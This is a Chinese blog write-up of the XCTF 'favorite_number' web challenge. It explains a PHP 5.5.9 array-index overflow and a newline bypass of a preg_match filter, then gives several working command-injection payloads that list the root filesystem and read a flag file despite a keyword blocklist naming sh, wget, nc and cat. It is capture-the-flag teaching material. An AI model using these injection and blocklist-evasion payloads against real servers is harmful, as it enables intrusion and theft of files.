XCTF-攻防世界CTF平台-Web类——18、favorite_number(命令注入)(php5.5.9整数溢出、preg_match正则表达式绕过)

打开题目地址:
在这里插入图片描述

提示了源代码,以及php版本是5.5.9

 <?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
      if(!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
} 

  首先通过POST方式提交stuff变量的值,“===”是强等于:要求stuff变量必须跟数组array的类型和值[‘admin’, ‘user’]都相等,且stuff[0]的值不等于’admin’,这从逻辑上好像不成立.
所以需要利用php5.5.9版本中的整数溢出漏洞来实现:
https://bugs.php.net/bug.php?id=69892
在这里插入图片描述

  在这个漏洞中,官方描述整数在16进制下是8位数,一旦出现第九位是1,那么这个下标在比较的时候和下标为0是一样的,16的8次方是4294967296,
  因为2^32 =4294967296=>0,所以stuff[4294967296]=stuff[0]
我们通过POST方式提交:

stuff[4294967296]=admin&stuff[1]=user&num=123

可以实现$stuff === $array && $stuff[0] != ‘admin’
提交:

stuff[4294967296]=admin&stuff[1]=user&num=123

在这里插入图片描述

可以看到已经通过了第一个判断
同理16的9次方也行(测试过,第一位是1,后面全是0的2进制数都行)
也就是16^9 =68719476736=>0,所以stuff[68719476736]=stuff[0]

stuff[68719476736]=admin&stuff[1]=user&num=123

在这里插入图片描述

之后通过POST方式提交num变量的值,通过两个preg_match函数的搜索匹配,返回值是0或者1:

if (preg_match("/^\d+$/im",$num))

其中:

^:字符串开头。
\d:匹配数字
+:匹配 1 次或多次。
$:字符串结尾。
/i:模式修饰符,作用是设定模式:忽略大小写
/m: 模式修饰符,将字符串视为多行,不管是那行都能匹配

所以这个正则表达式就是要求我们输入的num变量的值忽略大小写不管多少行都是数字。
例如我们输入num变量的值为多行数字:
$num= “123
456”;
在这里插入图片描述

说明第一个正则匹配要求我们输入的num变量的值忽略大小写不管多少行都是数字,所以我们需要绕过这个匹配让我们可以输入字母:
利用第一行是数字之后拼接换行符经过url编码之后的%0a:
在这里插入图片描述

可以绕过preg_match正则匹配函数:
$num= “123%0als
456”;
在这里插入图片描述

之后

if(!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))

要求不能出现:sh、wget、nc、python、php、perl、?、flag、}、cat、echo、*、^、]、\\、'、"、\这些字符串和符号,我们只能用其他命令来查找读取flag。
/i:模式修饰符,作用是设定模式:忽略大小写
绕过之后就会执行

system("echo ".$num);

所以我们在后面拼接上shell命令即可执行
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
因为url编码的原因,直接使用Burpsuite发包能成功
先抓包拦截:
在这里插入图片描述

然后编辑重发:
在这里插入图片描述

当前目录下只有index.php文件,我们需要查找flag文件,但是要注意在上面cat、flag等字符串都被禁止使用了
查找从根目录开始所有子目录下的文件:

stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=123%0als -R /

在这里插入图片描述

总共有8万多个文件夹及文件,回包有1014KB,我们直接保存到文件夹中再全词匹配搜索就可以了:
在这里插入图片描述

实际上flag文件就在根目录下
但是我们无法使用cat、flag等字符串,所以我们需要使用其他命令查看文件内容、指定flag文件。
Linux下查看文件内容的命令有:

cat     由第一行开始显示内容,并将所有内容输出
tac     从最后一行倒序显示内容,并将所有内容输出
more    根据窗口大小,一页一页的现实文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
nl      类似于cat -n,显示时输出行号
tailf   类似于tail -f 

cat命令可以以上命令代替,至于flag文件,

方法1:ls -i

我们可以用ls -i 输出文件的i节点的索引信息:

ls -i /

提交:

stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=123%0als -i /

在这里插入图片描述

得到flag文件的i节点的索引信息是27402414,之后用find找到flag文件,再用tac输出文件flag内容:

tac `find / -inum 27402414`

提交:

stuff[4294967296] =admin&stuff[1]=user&num=1%0atac `find / -inum 27402414`

在这里插入图片描述

得到flag:cyberpeace{f17ee13c186485ccc2ed351a9d5c683a}

方法2:定义变量输出

通过定义两个变量拆分fl、ag字符串,然后再输出的时候拼接成flag字符串:

a=/fl;b=ag;tac $a$b;

提交:

stuff[4294967296] =admin&stuff[1]=user&num=1%0a a=/fl;b=ag;tac $a$b;

在这里插入图片描述

得到flag:cyberpeace{f17ee13c186485ccc2ed351a9d5c683a}

方法3:写到文件输出

  将fl字符串输入到/tmp/1.txt,然后再将ag字符串输入到/tmp/1.txt,然后用tac读取出/tmp/1.txt的内容flag字符串,再执行tac flag:

printf /fl>/tmp/1.txt;printf ag>>/tmp/1.txt;tac `tac /tmp/1.txt`;

  其中,fl>/tmp/1.txt 将fl字符串覆盖到/tmp/1.txt文件中,原有内容会被清空,没有/tmp/1.txt会自动创建(覆盖写);ag>>/tmp/1.txt 将ag字符串接着写到/tmp/1.txt文件中,原有内容会被保留,没有/tmp/1.txt会自动创建(追加写)。
  另外,这里我们需要创建文件、写文件,所以需要对目录有可执行权限才能进入该目录,需要有可写权限才能创建写文件,需要有可读权限才能读文件。所以我们选择在/tmp目录下就是因为它对普通用户可读可写可执行:
在这里插入图片描述

提交:
stuff[4294967296] =admin&stuff[1]=user&num=123%0aprintf /fl>/tmp/1.txt;printf ag>>/tmp/1.txt;tac tac /tmp/1.txt;
在这里插入图片描述

得到flag:cyberpeace{f17ee13c186485ccc2ed351a9d5c683a}

方法4:``和$()命令替换

  在shell脚本中,eval、``与$()的作用都是命令替换,“`”叫做后引号,它们可以获取一个命令的执行结果并赋值给一个变量,我们可以用它不执行任何命令但是可以拼接flag字符串:

tac /fla``g

提交:

stuff[4294967296] =admin&stuff[1]=user&num=123%0a tac /fla``g

在这里插入图片描述

得到flag:cyberpeace{f17ee13c186485ccc2ed351a9d5c683a}
提交:

stuff[4294967296] =admin&stuff[1]=user&num=1%0a tac /fla$()g

在这里插入图片描述

得到flag:cyberpeace{f17ee13c186485ccc2ed351a9d5c683a}

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值